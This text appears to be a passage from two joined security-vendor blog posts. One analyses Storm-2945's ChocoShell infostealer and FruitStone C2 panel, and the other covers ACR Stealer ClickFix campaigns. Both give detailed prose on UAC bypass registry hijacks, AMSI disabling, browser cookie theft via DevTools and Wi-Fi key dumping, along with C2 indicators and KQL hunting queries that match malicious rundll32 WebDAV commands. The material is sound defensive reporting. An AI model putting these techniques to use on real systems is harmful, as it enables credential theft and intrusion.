ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

As a parallel collection path, ChocoShell launches Chrome, Edge, and Brave with the –remote-debugging-port flag and issues Network.getAllCookies through the Chrome DevTools Protocol (CDP). This completely bypasses ABE, enabling the browser to perform its own internal decryption and returns plaintext cookie values. To handle privilege issues (SYSTEM-launched browsers inherit the wrong token), the malware creates transient scheduled tasks with TASK_LOGON_INTERACTIVE_TOKEN to launch the browser under the signed-in user’s session. After extraction, the browser is stopped and relaunched with –restore-last-session to avoid alerting the user.

For Firefox family browsers (Firefox, Waterfox, LibreWolf, Floorp, Zen), the malware copies unencrypted cookies.sqlite databases from each profile. Additionally, ChocoShell collects Microsoft 365 and Azure Active Directory (AD) access tokens, refresh tokens, and Web Account Manager (WAM) tokens from .tbres files in the Token Broker cache. Collection of these tokens represents a significant threat to enterprise environments, as threat actors could replay SSO sessions without browser cookies. Additionally, Wi-Fi credentials are harvested via netsh wlan show profile with key=clear.

Exfiltration and cleanup. All collected data is aggregated into a JSON structure, GZip-compressed, Base64-encoded, and sent by POST to the C2’s /t/event endpoint. After exfiltration, all collected data variables are nulled, garbage collection is forced, VSS shadow copies are deleted via Windows Management Instrumentation (WMI), temporary elevation scripts are removed, and all UAC bypass registry keys (already cleaned during escalation) are verified removed.

FruitStone: Operator C2 panel

FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

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From late April 2026 to mid-June 2026, Microsoft Defender Experts observed increased ACR Stealer activity across customer environments. These campaigns are successfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents from enterprise environments. Successful compromise can expose browser credentials, session tokens, authentication artifacts, and sensitive enterprise data, potentially enabling account compromise, unauthorized access to cloud resources, and follow-on intrusion activity. Security teams should prioritize monitoring for ClickFix lures, suspicious WebDAV activity, obfuscated PowerShell execution, and attempts to access browser credential stores.

ACR Stealer is an information-stealing malware family reportedly offered through a malware-as-a-service (MaaS) model and associated with the rebranding of Amatera Stealer. During this period, two campaigns stand out, together appearing frequently in reviewed recent intrusions. Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command, but the intrusion chains that follow diverge in how they deliver payloads, establish execution, and evade detection.

The first campaign relies on WebDAV-delivered payloads, staged PowerShell, Python-based loaders and persistence, and, in some intrusions, blockchain-backed dead-drop command-and-control (C2) resolution. The second campaign takes a more fileless route, using MSHTA, obfuscated PowerShell, and steganography-assisted in-memory execution. Despite these differences, both campaigns ultimately pursue the same goal: stealing browser-stored credentials and other sensitive data for exfiltration.

These two campaigns represent some of the most prevalent ACR Stealer delivery campaigns observed by Defender Experts; however, they do not represent the full range of delivery methods used by this malware family. Attribution to ACR Stealer is based on the observed behavior and post-exploitation tradecraft, corroborated by open-source intelligence on the infrastructure associated with this malware family. Additional campaigns, infrastructure patterns, and execution chains are likely active, and organizations should treat the indicators and techniques described here as representative.

Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft. In this blog, we analyze both campaigns in detail, including their delivery mechanisms, post-exploitation tradecraft, indicators of compromise, hunting opportunities, and guidance to help defenders detect and disrupt related activity in their environments.

Campaign 1: WebDAV-based ClickFix with Python loaders and blockchain C2

Initial access

In this campaign, a ClickFix prompt, likely delivered through malvertising or SEO-manipulated search results, instructs the target user to run a command that launches cmd.exe. The command subsequently invokes rundll32.exe to load a DLL from a remote WebDAV share accessed over HTTPS. The WebDAV path commonly uses a GUID-based directory structure and filenames designed to resemble legitimate resources (for example, google.ct), enabling the activity to blend with expected network traffic and evade casual inspection.

We observed three variants of the initial execution command:

Variant 1: Direct rundll32 invocation

Variant 2: pushd-Mounted WebDAV Share

Variant 3: Headless and obfuscated pushd execution

Variants 2 and 3 are notable for their use of pushd, which transparently maps the remote WebDAV share to a temporary local drive prior to execution. This technique allows threat actors to execute remotely hosted content through what appears to be a local path, simplifying payload execution while reducing user awareness. In the more advanced variant, threat actors further enhance stealth by launching commands through conhost.exe –headless, suppressing visible console windows, and employing environment variable obfuscation with delayed variable expansion to conceal critical execution components such as pushd, rundll32, and the remote host name. Combined with minimized or headless execution, these techniques reduce user visibility, complicate static analysis and detection, and enable the infection chain to execute with minimal indication to the victim.

Execution, persistence, and evasion through process masquerading

Once rundll32.exe loads the DLL retrieved from the remote server, the malware establishes communication with threat actor-controlled infrastructure and executes a heavily obfuscated PowerShell script. The script employs excessive arithmetic no-ops, dead loops, fake control flow, and randomized variable names to hinder static analysis and evade signature-based detection.

The PowerShell script subsequently deploys another stage that functions as both a malware installer and a persistence mechanism. It:

• Downloads a ZIP-packaged payload from a remote server and extracts it into a deceptive directory under %LocalAppData%\Temp (for example, LogiOptionsPlus).
• Launches a Python script using a bundled pythonw.exe instance to avoid displaying a console window.
• Removes previous deployments and terminates running instances before installation, effectively operating as an updater.
• Establishes persistence through a hidden scheduled task disguised as a legitimate software update, ensuring execution at user sign-in.
• Copies timestamps from a trusted Windows binary (notepad.exe) to the deployed files and clears PowerShell command history to reduce forensic visibility.

Python loader launching the stealer

The Python component serves as a heavily obfuscated loader designed to conceal its true functionality until runtime. It employs multiple layers of defense against static analysis, including dynamic API resolution, encoded string reconstruction, junk-data removal, character shifting, string reversal, Base64 decoding, and zlib decompression. These techniques ensure that the embedded payload remains unreadable in its static form and is reconstructed only during execution, significantly hindering signature-based detection and automated analysis.

Once decoded, the final-stage payload functions as an in-memory shellcode loader. It extracts an archive file masquerading as a legitimate application installer, reads a file from the archive, and injects the payload into a system process. The loader allocates executable memory using VirtualAlloc, copies the payload into the allocated memory region, and transfers execution through the Windows Fiber API (ConvertThreadToFiber, CreateFiber, and SwitchToFiber). This technique facilitates stealthy in-memory execution while minimizing artifacts written to disk.

Credential theft and data staging for exfiltration

The malware (injected code) aggressively harvests information from browser credential stores. It invokes Windows Data Protection API (DPAPI) routines to decrypt locally stored browser passwords, cookies, and authentication tokens. It also enumerates files across the system, targeting PDFs, Microsoft 365 documents, and data stored in enterprise-synchronized directories such as OneDrive and SharePoint. The collected data is subsequently archived, indicating preparation for exfiltration.

Blockchain dead-drop C2 resolution

A notable variation in this campaign is the use of blockchain services for C2 resolution, utilizing a technique known as EtherHiding. While most intrusions rely on more conventional C2 mechanisms, a subset deploys an additional secondary Python loader that leverages blockchain services as dead-drop resolvers. When this loader executes, it has been observed communicating with public blockchain RPC endpoints and third-party Web3 node infrastructure, likely querying data stored on a decentralized public ledger to retrieve follow-up payloads or a C2 address.

By externalizing C2 information to the blockchain, operators could dynamically update infrastructure without modifying or redeploying the malware, significantly complicating detection and takedown efforts. This behavior was observed across both variants of the campaign.

Campaign 2: MSHTA-initiated PowerShell chain with steganographic payload delivery

The second campaign takes a distinctly different approach to both delivery and execution. Where Campaign 1 relies on disk-based artifacts (Python runtime, scheduled tasks, and masquerading binaries), this campaign achieves its objectives almost entirely through fileless, in-memory execution, making it harder to detect through file-based scanning and forensic analysis.

Initial access through MSHTA and ClickFix

The execution chain begins when the victim, directed through malvertising or SEO-manipulated search results, encounters a ClickFix prompt that triggers a command spawning MSHTA to fetch and execute remote HTA content from an threat actor-controlled domain. The embedded VBScript loader abuses COM objects to decode and execute encoded PowerShell content.

PowerShell downloader and obfuscation

The decoded PowerShell stage employs obfuscation techniques similar to those seen in Campaign 1: randomized variable names, arithmetic no-op operations, dead loops, misleading control flow, and custom encryption routines. Prior to contacting its next-stage infrastructure, the malware generates a victim-specific identifier and disables certificate validation. The retrieved content is executed directly in memory.

Steganography-based payload delivery

A notable technique in this campaign is the use of steganography to conceal malicious content inside a publicly hosted image. Instead of downloading a secondary script (as in Campaign 1), the malware retrieves a JPEG image from an image-hosting service.

Analysis of the script revealed custom routines that extract an embedded payload from image pixels, decrypt and decompress it, and execute it entirely in memory. The payload dynamically resolves APIs such as LoadLibrary, GetProcAddress, VirtualAlloc, CreateThread, and WaitForSingleObject at runtime to perform reflective shellcode execution. By combining steganography with in-memory execution, the malware minimizes on-disk artifacts and complicates both detection and analysis.

Credential theft, data collection, and exfiltration

Following execution, the malware accesses credential stores belonging to Chromium-based browsers, including Google Chrome and Microsoft Edge, specifically the Login Data and Web Data databases, alongside Windows DPAPI decryption activity. This behavior indicates attempts to recover stored browser credentials, session cookies, authentication tokens, and other sensitive user information.

The malware also enumerates and accesses multiple high-value PDF documents across Desktop and Downloads locations, suggesting targeted collection of potentially sensitive files. The combination of browser credential harvesting and systematic document access points to an information-stealing objective focused on staging credentials and valuable user data for exfiltration.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of ClickFix lures, script-based payload delivery, credential theft, and post-compromise activity.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Reduce exposure to malvertising, SEO poisoning, and other web-based delivery chains by enforcing web filtering, blocking low-reputation or newly observed domains, and limiting access to remote content sources that are not required for business operations.
• Use application control and attack surface reduction rules to restrict PowerShell, Python, mshta.exe, rundll32.exe, and similar tools from launching untrusted or internet-delivered content, particularly from user-writable directories such as Downloads, Temp, and %LocalAppData%.
• Monitor for suspicious persistence and defense-evasion behavior, including scheduled tasks masquerading as software updates, timestomping, PowerShell history clearing, and execution chains that progress from remote content retrieval into PowerShell, Python, or shellcode-loading behavior.
• Investigate abnormal access to Chromium-based browser databases, DPAPI-related decryption activity, staged collection of Microsoft 365 documents or PDFs, and compression activity that may indicate credential theft or data staging for exfiltration.
• If compromise is suspected, isolate affected devices, rotate exposed credentials, revoke potentially compromised tokens, review persistence mechanisms, and investigate outbound connections to remote shares, image-hosting services, or other infrastructure used to resolve or retrieve follow-on payloads.
• Harden endpoints against credential theft by reducing reliance on browser-stored credentials, enforcing multifactor authentication and conditional access, and reviewing how privileged accounts access sensitive applications and synchronized enterprise data.
• Turn on cloud-delivered protection and behavior-based detections to help identify rapidly evolving threats, suspicious script execution, in-memory payload delivery, abuse of browser credential stores, and unusual child-process activity.
• Run endpoint detection and response (EDR) in block mode and enable automated investigation and remediation so post-breach detections are contained, and malicious artifacts can be removed with minimal delay.
• Harden PowerShell by enforcing appropriate execution policies, turning on script block logging, module logging, and transcription, and monitoring this telemetry for signs of malicious script activity.
• Turn on tamper protection and prevent local administrators from weakening antivirus protection through local policy or exclusion changes.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get current information available in the Defender portal about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments:

• Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication
• Double Trouble: Latrodectus and ACR Stealer observed spreading via Google Authenticator Phishing Site

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advance hunting queries to find related activity in their networks:

Run the query below to identify suspicious commands executed through ClickFix-based activity observed while delivering this stealer

DeviceRegistryEvents
| where RegistryKey has "RunMRU"
| where (RegistryValueData has_all ("rundll32", "@ssl", " /c ", " start ") and (RegistryValueData matches regex @"\\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\\\w+\.\w+,#1" or
RegistryValueData matches regex @"(?i)pushd \\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12} ")) 
or RegistryValueData has_all ("@ssl", " /c ", "conhost --headless ") and RegistryValueData contains "rundll32"

Run the query below to identify scheduled task creation used for persistence by a malicious PowerShell script

DeviceProcessEvents
